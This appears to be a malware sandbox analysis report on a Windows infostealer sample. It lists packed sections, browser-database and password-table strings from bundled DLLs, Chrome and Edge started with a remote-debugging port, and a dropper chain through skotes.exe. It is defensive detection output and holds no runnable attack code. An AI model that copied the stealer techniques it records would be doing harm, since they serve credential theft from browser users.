Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D320	0_2_6CA7D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C370	0_2_6CA4C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA35340	0_2_6CA35340
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00DEE530	28_2_00DEE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E278BB	28_2_00E278BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E28860	28_2_00E28860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E27049	28_2_00E27049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00DE4DE0	28_2_00DE4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E231A8	28_2_00E231A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E22D10	28_2_00E22D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E2779B	28_2_00E2779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E17F36	28_2_00E17F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00DE4B30	28_2_00DE4B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA6CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA794D0 appears 90 times

Source: file.exe, 00000000.00000002.2012830833.000000006CCB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: paeyyrqu ZLIB complexity 0.9945360356049004
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: random[1].exe.0.dr	Static PE information: Section: xfvywxal ZLIB complexity 0.9942025279546801
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: Section: xfvywxal ZLIB complexity 0.9942025279546801
Source: skotes.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: skotes.exe.24.dr	Static PE information: Section: xfvywxal ZLIB complexity 0.9942025279546801
Source: random[1].exe.28.dr	Static PE information: Section: xdoawxra ZLIB complexity 0.9940475421831956
Source: b2638941c0.exe.28.dr	Static PE information: Section: xdoawxra ZLIB complexity 0.9940475421831956

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/242@26/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA97030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA97030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\2B15RN2Y.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8868:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\ba90683c-6c37-4eab-aa53-580b85f351aa.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1754304975.000000001D349000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660398764.000000001D355000.00000004.00000020.00020000.00000000.sdmp, BAFCFBAEGDHIEBFHDGCB.0.dr, HCAAEGIJKEGHIDGCBAEB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2011685955.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsHCGCBFHCFC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1156 --field-trial-handle=2140,i,8934189931533326089,15715926864722454120,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2224,i,16004899387267317099,10663953471025910774,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6436 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6596 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCGCBFHCFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCGCBFHCFC.exe "C:\Users\user\DocumentsHCGCBFHCFC.exe"
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6636 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe "C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCGCBFHCFC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1156 --field-trial-handle=2140,i,8934189931533326089,15715926864722454120,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2224,i,16004899387267317099,10663953471025910774,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6436 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6596 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6636 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCGCBFHCFC.exe "C:\Users\user\DocumentsHCGCBFHCFC.exe"
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe "C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: wintypes.dll
